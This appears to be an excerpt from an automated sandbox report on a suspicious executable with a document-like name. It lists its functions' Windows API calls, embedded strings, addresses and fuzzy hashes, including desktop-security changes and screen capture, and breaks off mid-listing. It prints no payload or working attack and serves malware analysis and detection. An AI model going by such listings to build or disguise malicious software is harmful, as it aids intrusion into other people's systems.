Associated: 00000000.00000002.1691980696.00000000007DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.0000000000845000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692107264.000000000084B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692122181.000000000084C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_710000_DOC092024-0431202229487.jbxd

Similarity

API ID: Window$MessageSend$CreateDestroy$DesktopLongRect_memmove_memset
String ID: 0$tooltips_class32
API String ID: 1297703922-3619404913
Opcode ID: 3f46dd5163f33ee913140df635c31208a947ea0699578ffa8d6b985c54a4e655
Instruction ID: b2820eb72a72b05060e577e8c0318c99066c6e06e786a7ec86eddc0db42cfbbe
Opcode Fuzzy Hash: 3f46dd5163f33ee913140df635c31208a947ea0699578ffa8d6b985c54a4e655
Instruction Fuzzy Hash: 08719C71140309AFDB25CF28CC45FAA3BF9EB88744F84851DF989972A1D778E802DB15

Function 0075B428 Relevance: 23.1, APIs: 11, Strings: 2, Instructions: 350timeCOMMON

Download Yara Rule

APIs

VariantInit.OLEAUT32(00000000), ref: 0075B46D
VariantCopy.OLEAUT32(?,?), ref: 0075B476
VariantClear.OLEAUT32(?), ref: 0075B482
VariantTimeToSystemTime.OLEAUT32(?,?,?), ref: 0075B561
__swprintf.LIBCMT ref: 0075B591
VarR8FromDec.OLEAUT32(?,?), ref: 0075B5BD
VariantInit.OLEAUT32(?), ref: 0075B63F
SysFreeString.OLEAUT32(00000016), ref: 0075B6D1
VariantClear.OLEAUT32(?), ref: 0075B727
VariantClear.OLEAUT32(?), ref: 0075B736
VariantInit.OLEAUT32(00000000), ref: 0075B772

Strings

Default, xrefs: 0075B615
%4d%02d%02d%02d%02d%02d, xrefs: 0075B58B

Memory Dump Source

Source File: 00000000.00000002.1691980696.0000000000711000.00000040.00000001.01000000.00000003.sdmp, Offset: 00710000, based on PE: true

Associated: 00000000.00000002.1691812162.0000000000710000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.0000000000845000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692107264.000000000084B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692122181.000000000084C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_710000_DOC092024-0431202229487.jbxd

Similarity

API ID: Variant$ClearInit$Time$CopyFreeFromStringSystem__swprintf
String ID: %4d%02d%02d%02d%02d%02d$Default
API String ID: 3730832054-3931177956
Opcode ID: e44555719d3a7d0718ef5dbc31950902124376c6a99e4188301190f03edd3f70
Instruction ID: c6b2323d9f9aaba68753d79bd0b40d551a6a17e75cb8356cbe79607443349f49
Opcode Fuzzy Hash: e44555719d3a7d0718ef5dbc31950902124376c6a99e4188301190f03edd3f70
Instruction Fuzzy Hash: C6C1F171A00615EBCB20DF65D488BB9B7B4FF45702F248466EC059B192DBBCEC48DBA1

Function 00776F67 Relevance: 23.0, APIs: 2, Strings: 11, Instructions: 244windowCOMMON

Download Yara Rule

APIs

CharUpperBuffW.USER32(?,?), ref: 00776FF9
SendMessageW.USER32(?,00001105,00000000,00000000), ref: 00777044

Strings

CHECK, xrefs: 00777064
GETTOTALCOUNT, xrefs: 00777027
COLLAPSE, xrefs: 0077708A
EXISTS, xrefs: 007770AD
GETSELECTED, xrefs: 0077713C
UNCHECK, xrefs: 00777208
ISCHECKED, xrefs: 007771AF
GETITEMCOUNT, xrefs: 0077710E
GETTEXT, xrefs: 0077717F
SELECT, xrefs: 007771DD
EXPAND, xrefs: 007770DE

Memory Dump Source

Source File: 00000000.00000002.1691980696.0000000000711000.00000040.00000001.01000000.00000003.sdmp, Offset: 00710000, based on PE: true

Associated: 00000000.00000002.1691812162.0000000000710000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.0000000000845000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692107264.000000000084B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692122181.000000000084C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_710000_DOC092024-0431202229487.jbxd

Similarity

API ID: BuffCharMessageSendUpper
String ID: CHECK$COLLAPSE$EXISTS$EXPAND$GETITEMCOUNT$GETSELECTED$GETTEXT$GETTOTALCOUNT$ISCHECKED$SELECT$UNCHECK
API String ID: 3974292440-4258414348
Opcode ID: ec5d3f66ae5dc976eb6acf826ed0b0fac7e3b301c6e66bfe665fda58b8e35685
Instruction ID: b70037d4d0f34fd6232b13ed0113037ddef3f1ca9779498ee1a39508c7d22131
Opcode Fuzzy Hash: ec5d3f66ae5dc976eb6acf826ed0b0fac7e3b301c6e66bfe665fda58b8e35685
Instruction Fuzzy Hash: DE917434204711DFCB18EF14C855A69B7E2AF94390F04886DF8965B393DB39ED46CB82

Function 0077E305 Relevance: 22.9, APIs: 10, Strings: 3, Instructions: 199windowlibraryCOMMON

Download Yara Rule

APIs

LoadImageW.USER32(00000000,?,00000001,?,?,00002010), ref: 0077E3BB
LoadLibraryExW.KERNEL32(?,00000000,00000032,?,?,00000001,?,?,?,00779615,?), ref: 0077E417
LoadImageW.USER32(?,?,00000001,?,?,00000000), ref: 0077E457
LoadImageW.USER32(?,?,00000001,?,?,00000000), ref: 0077E49C
LoadImageW.USER32(?,?,00000001,?,?,00000000), ref: 0077E4D3
FreeLibrary.KERNEL32(?,00000004,?,?,?,00779615,?), ref: 0077E4DF
ExtractIconExW.SHELL32(?,00000000,00000000,00000000,00000001), ref: 0077E4EF
DestroyCursor.USER32(?), ref: 0077E4FE
SendMessageW.USER32(?,00000170,00000000,00000000), ref: 0077E51B
SendMessageW.USER32(?,00000064,00000172,00000001), ref: 0077E527

Part of subcall function 00731BC7: __wcsicmp_l.LIBCMT ref: 00731C50

Strings

.icl, xrefs: 0077E331
.dll, xrefs: 0077E374
.exe, xrefs: 0077E351

Memory Dump Source

Source File: 00000000.00000002.1691980696.0000000000711000.00000040.00000001.01000000.00000003.sdmp, Offset: 00710000, based on PE: true

Associated: 00000000.00000002.1691812162.0000000000710000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.0000000000845000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692107264.000000000084B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692122181.000000000084C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_710000_DOC092024-0431202229487.jbxd

Similarity

API ID: Load$Image$LibraryMessageSend$CursorDestroyExtractFreeIcon__wcsicmp_l
String ID: .dll$.exe$.icl
API String ID: 3907162815-1154884017
Opcode ID: d8bbf49c7c4960a5f31b0abf5f053a35b3a2f4262dc86c4f8a29f9bb85948fee
Instruction ID: 2ae9fd752b187db350bde355b4d25a18044b5fa4c56aa0c42259d0a9bf4ea2af
Opcode Fuzzy Hash: d8bbf49c7c4960a5f31b0abf5f053a35b3a2f4262dc86c4f8a29f9bb85948fee
Instruction Fuzzy Hash: 7761BEB1500214FAEF24DF64CC45FEE77A8AB08760F108156F919E71D1DB789E90C7A0

Function 00760E41 Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 184timeCOMMON

Download Yara Rule

APIs

GetLocalTime.KERNEL32(?), ref: 00760EFF
SystemTimeToFileTime.KERNEL32(?,?), ref: 00760F0F
LocalFileTimeToFileTime.KERNEL32(?,?), ref: 00760F1B
__wsplitpath.LIBCMT ref: 00760F79
_wcscat.LIBCMT ref: 00760F91
_wcscat.LIBCMT ref: 00760FA3
GetCurrentDirectoryW.KERNEL32(00000104,?), ref: 00760FB8
SetCurrentDirectoryW.KERNEL32(?), ref: 00760FCC
SetCurrentDirectoryW.KERNEL32(?), ref: 00760FFE
SetCurrentDirectoryW.KERNEL32(?), ref: 0076101F
_wcscpy.LIBCMT ref: 0076102B
SetCurrentDirectoryW.KERNEL32(?,?,?,?,?), ref: 0076106A

Strings

*.*, xrefs: 00761025

Memory Dump Source

Source File: 00000000.00000002.1691980696.0000000000711000.00000040.00000001.01000000.00000003.sdmp, Offset: 00710000, based on PE: true

Associated: 00000000.00000002.1691812162.0000000000710000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.0000000000845000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692107264.000000000084B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692122181.000000000084C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_710000_DOC092024-0431202229487.jbxd

Similarity

API ID: CurrentDirectoryTime$File$Local_wcscat$System__wsplitpath_wcscpy
String ID: *.*
API String ID: 3566783562-438819550
Opcode ID: 8369485d6bdb2a10a39c75577983d37a31f3b3e7563fb39c668a42658badccc3
Instruction ID: 8ed895d9ca4becf0d37596a985d29a38338a90bb2532cc158c31578e77983b8d
Opcode Fuzzy Hash: 8369485d6bdb2a10a39c75577983d37a31f3b3e7563fb39c668a42658badccc3
Instruction Fuzzy Hash: 23614071504345EFD710EF64C848A9BB3E8FF89310F04891EF99697251EB39EA45CB92

Function 0075DAAD Relevance: 22.9, APIs: 5, Strings: 8, Instructions: 138COMMON

Download Yara Rule

APIs

Part of subcall function 007184A6: __swprintf.LIBCMT ref: 007184E5
Part of subcall function 007184A6: __itow.LIBCMT ref: 00718519

CharLowerBuffW.USER32(?,?), ref: 0075DB26
GetDriveTypeW.KERNEL32 ref: 0075DB73
mciSendStringW.WINMM(?,00000000,00000000,00000000), ref: 0075DBBB
mciSendStringW.WINMM(?,00000000,00000000,00000000), ref: 0075DBF2
mciSendStringW.WINMM(?,00000000,00000000,00000000), ref: 0075DC20

Part of subcall function 00717E53: _memmove.LIBCMT ref: 00717EB9

Strings

closed, xrefs: 0075DB3A, 0075DB43
wait, xrefs: 0075DBDD
open, xrefs: 0075DB4D
set cd door , xrefs: 0075DBC1
type cdaudio alias cd wait, xrefs: 0075DB9E
close cd wait, xrefs: 0075DC0B
open , xrefs: 0075DB82
close, xrefs: 0075DB2C

Memory Dump Source

Source File: 00000000.00000002.1691980696.0000000000711000.00000040.00000001.01000000.00000003.sdmp, Offset: 00710000, based on PE: true

Associated: 00000000.00000002.1691812162.0000000000710000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.0000000000845000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692107264.000000000084B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692122181.000000000084C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_710000_DOC092024-0431202229487.jbxd

Similarity

API ID: SendString$BuffCharDriveLowerType__itow__swprintf_memmove
String ID: type cdaudio alias cd wait$ wait$close$close cd wait$closed$open$open $set cd door
API String ID: 2698844021-4113822522
Opcode ID: 12b3a282e6ac8413e303d8d7dcae3fe70087f526ea5fd0403ed1d8467f1bbf09
Instruction ID: 748c977dc442c05933ec47f1f230efa6fa6895107abd4742eae746de0b8b8621
Opcode Fuzzy Hash: 12b3a282e6ac8413e303d8d7dcae3fe70087f526ea5fd0403ed1d8467f1bbf09
Instruction Fuzzy Hash: 76514AB1104305EFC714EF14C9859AAB7F5EF88718F00886DF896972A1DB79EE09CB91

Function 00753110 Relevance: 22.9, APIs: 8, Strings: 5, Instructions: 129windowCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000,?,00000FFF,00000000,?,?,?,00784085,00000016,0000138B,?,00000000,?,?,00000000,?), ref: 00753145
LoadStringW.USER32(00000000,?,00784085,00000016), ref: 0075314E

Part of subcall function 0071CAEE: _memmove.LIBCMT ref: 0071CB2F

GetModuleHandleW.KERNEL32(00000000,00000000,?,00000FFF,?,?,00784085,00000016,0000138B,?,00000000,?,?,00000000,?,00000040), ref: 00753170
LoadStringW.USER32(00000000,?,00784085,00000016), ref: 00753173
__swprintf.LIBCMT ref: 007531B3
__swprintf.LIBCMT ref: 007531C5
_wprintf.LIBCMT ref: 0075326C
MessageBoxW.USER32(00000000,?,?,00011010), ref: 00753283

Strings

%s (%d) : ==> %s: %s %s, xrefs: 00753267
Line %d (File "%s"):, xrefs: 007531BF
Line %d:, xrefs: 007531AD
Error: , xrefs: 0075323C
^ ERROR, xrefs: 00753216

Memory Dump Source

Source File: 00000000.00000002.1691980696.0000000000711000.00000040.00000001.01000000.00000003.sdmp, Offset: 00710000, based on PE: true

Associated: 00000000.00000002.1691812162.0000000000710000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.0000000000845000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692107264.000000000084B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692122181.000000000084C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_710000_DOC092024-0431202229487.jbxd

Similarity

API ID: HandleLoadModuleString__swprintf$Message_memmove_wprintf
String ID: Error: $%s (%d) : ==> %s: %s %s$Line %d (File "%s"):$Line %d:$^ ERROR
API String ID: 984253442-2268648507
Opcode ID: d2f877f7f509754fd786bcd46a32992e3d00c74db2d36dc9fd992697061b4bb2
Instruction ID: 9d506c93cfb0b5b3d8f7eb8b902367f37639d1cf36db8a611729980096c5e900
Opcode Fuzzy Hash: d2f877f7f509754fd786bcd46a32992e3d00c74db2d36dc9fd992697061b4bb2
Instruction Fuzzy Hash: 70416472904209FACB14FBD4DD5BEDE7778AF54741F504065B601B20E2DA7D6F48CAA0

Function 0075D950 Relevance: 22.8, APIs: 10, Strings: 3, Instructions: 100fileCOMMON

Download Yara Rule

APIs

GetFullPathNameW.KERNEL32(?,00000104,?,?), ref: 0075D96C
__swprintf.LIBCMT ref: 0075D98E
CreateDirectoryW.KERNEL32(?,00000000), ref: 0075D9CB
CreateFileW.KERNEL32(?,40000000,00000000,00000000,00000003,02200000,00000000), ref: 0075D9F0
_memset.LIBCMT ref: 0075DA0F
_wcsncpy.LIBCMT ref: 0075DA4B
DeviceIoControl.KERNEL32(00000000,000900A4,A0000003,?,00000000,00000000,?,00000000), ref: 0075DA80
CloseHandle.KERNEL32(00000000), ref: 0075DA8B
RemoveDirectoryW.KERNEL32(?), ref: 0075DA94
CloseHandle.KERNEL32(00000000), ref: 0075DA9E

Strings

:, xrefs: 0075D9AF
\??\%s, xrefs: 0075D988
\, xrefs: 0075D9A4

Memory Dump Source

Source File: 00000000.00000002.1691980696.0000000000711000.00000040.00000001.01000000.00000003.sdmp, Offset: 00710000, based on PE: true

Associated: 00000000.00000002.1691812162.0000000000710000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.0000000000845000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692107264.000000000084B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692122181.000000000084C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_710000_DOC092024-0431202229487.jbxd

Similarity

API ID: CloseCreateDirectoryHandle$ControlDeviceFileFullNamePathRemove__swprintf_memset_wcsncpy
String ID: :$\$\??\%s
API String ID: 2733774712-3457252023
Opcode ID: 38ab1ac80523fb5729dbcd5272617842385733d872c46df523bf2094585a179d
Instruction ID: 25a983b101a5c8530507d8f7c0f055a681959c22652ff5fe8ad366c0cab64b5a
Opcode Fuzzy Hash: 38ab1ac80523fb5729dbcd5272617842385733d872c46df523bf2094585a179d
Instruction Fuzzy Hash: BD318172600208AADB30DFA4DC49FDA77BDFF84701F10C1A6F919D2061EB789E458BA5

Function 0074957D Relevance: 22.7, APIs: 15, Instructions: 210COMMONLIBRARYCODE

Download Yara Rule

APIs

_copy_environ.LIBCMT ref: 007495DD
___wtomb_environ.LIBCMT ref: 007495FF

Part of subcall function 0073889E: __getptd_noexit.LIBCMT ref: 0073889E

__malloc_crt.LIBCMT ref: 00749625
__malloc_crt.LIBCMT ref: 00749642
_free.LIBCMT ref: 00749679
__recalloc_crt.LIBCMT ref: 007496B2
__recalloc_crt.LIBCMT ref: 007496F7
_strlen.LIBCMT ref: 00749723
__calloc_crt.LIBCMT ref: 0074972D
_strlen.LIBCMT ref: 0074973C
SetEnvironmentVariableA.KERNEL32(00000000,00000000,?,?,?,?,00000000,00000000), ref: 0074976A
_free.LIBCMT ref: 00749784
_free.LIBCMT ref: 00749791
_free.LIBCMT ref: 007497A3
__invoke_watson.LIBCMT ref: 007497BD

Memory Dump Source

Source File: 00000000.00000002.1691980696.0000000000711000.00000040.00000001.01000000.00000003.sdmp, Offset: 00710000, based on PE: true

Associated: 00000000.00000002.1691812162.0000000000710000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.0000000000845000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692107264.000000000084B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692122181.000000000084C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_710000_DOC092024-0431202229487.jbxd

Similarity

API ID: _free$__malloc_crt__recalloc_crt_strlen$EnvironmentVariable___wtomb_environ__calloc_crt__getptd_noexit__invoke_watson_copy_environ
String ID:
API String ID: 884005220-0
Opcode ID: cd9eb3fdc2dbd16a0b713db5c7f449f19b2602d6b5823c8b48a263b0f28d5671
Instruction ID: 6406a08e72e5de8cae82ede8ac2a0c4577d5352f4ca881fbd4cba696541e03e8
Opcode Fuzzy Hash: cd9eb3fdc2dbd16a0b713db5c7f449f19b2602d6b5823c8b48a263b0f28d5671
Instruction Fuzzy Hash: 2761F272901315EFEB259F38D846BAF77A4EF01320F214126EA419B192DB7DDC41CBA6

Function 0077E541 Relevance: 22.6, APIs: 15, Instructions: 129filecommemoryCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32(?,80000000,00000000,00000000,00000003,00000000,00000000,?,00000000,?), ref: 0077E564
GetFileSize.KERNEL32(00000000,00000000), ref: 0077E57B
GlobalAlloc.KERNEL32(00000002,00000000), ref: 0077E586
CloseHandle.KERNEL32(00000000), ref: 0077E593
GlobalLock.KERNEL32(00000000), ref: 0077E59C
ReadFile.KERNEL32(00000000,00000000,00000000,?,00000000), ref: 0077E5AB
GlobalUnlock.KERNEL32(00000000), ref: 0077E5B4
CloseHandle.KERNEL32(00000000), ref: 0077E5BB
CreateStreamOnHGlobal.COMBASE(00000000,00000001,?), ref: 0077E5CC
OleLoadPicture.OLEAUT32(?,00000000,00000000,0079D9BC,?), ref: 0077E5E5
GlobalFree.KERNEL32(00000000), ref: 0077E5F5
GetObjectW.GDI32(?,00000018,000000FF), ref: 0077E619
CopyImage.USER32(?,00000000,?,?,00002000), ref: 0077E644
DeleteObject.GDI32(00000000), ref: 0077E66C
SendMessageW.USER32(?,00000172,00000000,00000000), ref: 0077E682

Memory Dump Source

Source File: 00000000.00000002.1691980696.0000000000711000.00000040.00000001.01000000.00000003.sdmp, Offset: 00710000, based on PE: true

Associated: 00000000.00000002.1691812162.0000000000710000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.0000000000845000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692107264.000000000084B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692122181.000000000084C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_710000_DOC092024-0431202229487.jbxd

Similarity

API ID: Global$File$CloseCreateHandleObject$AllocCopyDeleteFreeImageLoadLockMessagePictureReadSendSizeStreamUnlock
String ID:
API String ID: 3840717409-0
Opcode ID: b5eb2d085e40aed3992f54ef6e3c6661479d80a111b29a81d7cd173c3e4c5624
Instruction ID: f6a90b743f7c09eb8110e065163dd6e9dd903c14a9969d39e2ebf1f4bcd019e9
Opcode Fuzzy Hash: b5eb2d085e40aed3992f54ef6e3c6661479d80a111b29a81d7cd173c3e4c5624
Instruction Fuzzy Hash: ED414A75600208EFDB219F64DC48EAABBB9FF89755F108099F909D7260D7399D01DB24

Function 00760B20 Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 229COMMON

Download Yara Rule

APIs

__wsplitpath.LIBCMT ref: 00760C93
_wcscat.LIBCMT ref: 00760CAB
_wcscat.LIBCMT ref: 00760CBD
GetCurrentDirectoryW.KERNEL32(00000104,?), ref: 00760CD2
SetCurrentDirectoryW.KERNEL32(?), ref: 00760CE6
GetFileAttributesW.KERNEL32(?), ref: 00760CFE
SetFileAttributesW.KERNEL32(?,00000000), ref: 00760D18
SetCurrentDirectoryW.KERNEL32(?), ref: 00760D2A

Strings

*.*, xrefs: 00760D69

Memory Dump Source

Source File: 00000000.00000002.1691980696.0000000000711000.00000040.00000001.01000000.00000003.sdmp, Offset: 00710000, based on PE: true

Associated: 00000000.00000002.1691812162.0000000000710000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.0000000000845000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692107264.000000000084B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692122181.000000000084C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_710000_DOC092024-0431202229487.jbxd

Similarity

API ID: CurrentDirectory$AttributesFile_wcscat$__wsplitpath
String ID: *.*
API String ID: 34673085-438819550
Opcode ID: 24f52f8cdebece8e53b662b4d2ab0e6fc8683fcbccab8be1fdf0f5b8429827d5
Instruction ID: 084ef599de29455c909e2677c6182984da202b97844e24d2a66ccbfe3b53d6f8
Opcode Fuzzy Hash: 24f52f8cdebece8e53b662b4d2ab0e6fc8683fcbccab8be1fdf0f5b8429827d5
Instruction Fuzzy Hash: 378177715043059FC764DF64C8449AB77E4BB88314F14896AFC86C7251E738DD85CBE2

Function 0074B593 Relevance: 21.2, APIs: 14, Instructions: 178memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 0074B8E7: GetUserObjectSecurity.USER32(?,?,?,00000000,?), ref: 0074B903
Part of subcall function 0074B8E7: GetLastError.KERNEL32(?,0074B3CB,?,?,?), ref: 0074B90D
Part of subcall function 0074B8E7: GetProcessHeap.KERNEL32(00000008,?,?,0074B3CB,?,?,?), ref: 0074B91C
Part of subcall function 0074B8E7: RtlAllocateHeap.NTDLL(00000000,?,0074B3CB), ref: 0074B923
Part of subcall function 0074B8E7: GetUserObjectSecurity.USER32(?,?,00000000,?,?), ref: 0074B93A

Part of subcall function 0074B982: GetProcessHeap.KERNEL32(00000008,0074B3E1,00000000,00000000,?,0074B3E1,?), ref: 0074B98E
Part of subcall function 0074B982: RtlAllocateHeap.NTDLL(00000000,?,0074B3E1), ref: 0074B995
Part of subcall function 0074B982: InitializeSecurityDescriptor.ADVAPI32(00000000,00000001,?,0074B3E1,?), ref: 0074B9A6

GetSecurityDescriptorDacl.ADVAPI32(?,?,?,?), ref: 0074B5F7
_memset.LIBCMT ref: 0074B60C
GetAclInformation.ADVAPI32(?,?,0000000C,00000002), ref: 0074B62B
GetLengthSid.ADVAPI32(?), ref: 0074B63C
GetAce.ADVAPI32(?,00000000,?), ref: 0074B679
AddAce.ADVAPI32(?,00000002,000000FF,?,?), ref: 0074B695
GetLengthSid.ADVAPI32(?), ref: 0074B6B2
GetProcessHeap.KERNEL32(00000008,-00000008), ref: 0074B6C1
RtlAllocateHeap.NTDLL(00000000), ref: 0074B6C8
GetLengthSid.ADVAPI32(?,00000008,?), ref: 0074B6E9
CopySid.ADVAPI32(00000000), ref: 0074B6F0
AddAce.ADVAPI32(?,00000002,000000FF,00000000,?), ref: 0074B721
SetSecurityDescriptorDacl.ADVAPI32(?,00000001,?,00000000), ref: 0074B747
SetUserObjectSecurity.USER32(?,00000004,?), ref: 0074B75B

Memory Dump Source

Source File: 00000000.00000002.1691980696.0000000000711000.00000040.00000001.01000000.00000003.sdmp, Offset: 00710000, based on PE: true

Associated: 00000000.00000002.1691812162.0000000000710000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.0000000000845000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692107264.000000000084B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692122181.000000000084C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_710000_DOC092024-0431202229487.jbxd

Similarity

API ID: HeapSecurity$AllocateDescriptorLengthObjectProcessUser$Dacl$CopyErrorInformationInitializeLast_memset
String ID:
API String ID: 2347767575-0
Opcode ID: fb1e012c0f16c91fbbb6e35ffa0dd6fd91c2c99b5e1c2ddaf57cfb0e88ea4a3b
Instruction ID: e2113547693b1fb43bc2a85284970b201d44a41842dba1274b3bedcbdb1d4c5c
Opcode Fuzzy Hash: fb1e012c0f16c91fbbb6e35ffa0dd6fd91c2c99b5e1c2ddaf57cfb0e88ea4a3b
Instruction Fuzzy Hash: 39515A71900209EBDF119FA5DC85EEEBB79FF48314F04816AE915A7290DB39DE05CB60

Function 0076A268 Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 159windowCOMMON

Download Yara Rule

APIs

GetDC.USER32(00000000), ref: 0076A2DD
CreateCompatibleBitmap.GDI32(00000000,00000007,?), ref: 0076A2E9
CreateCompatibleDC.GDI32(?), ref: 0076A2F5
SelectObject.GDI32(00000000,?), ref: 0076A302
StretchBlt.GDI32(00000006,00000000,00000000,00000007,?,?,?,?,00000007,?,00CC0020), ref: 0076A356
GetDIBits.GDI32(00000006,?,00000000,00000000,00000000,?,00000000), ref: 0076A392
GetDIBits.GDI32(00000006,?,00000000,?,00000000,00000028,00000000), ref: 0076A3B6
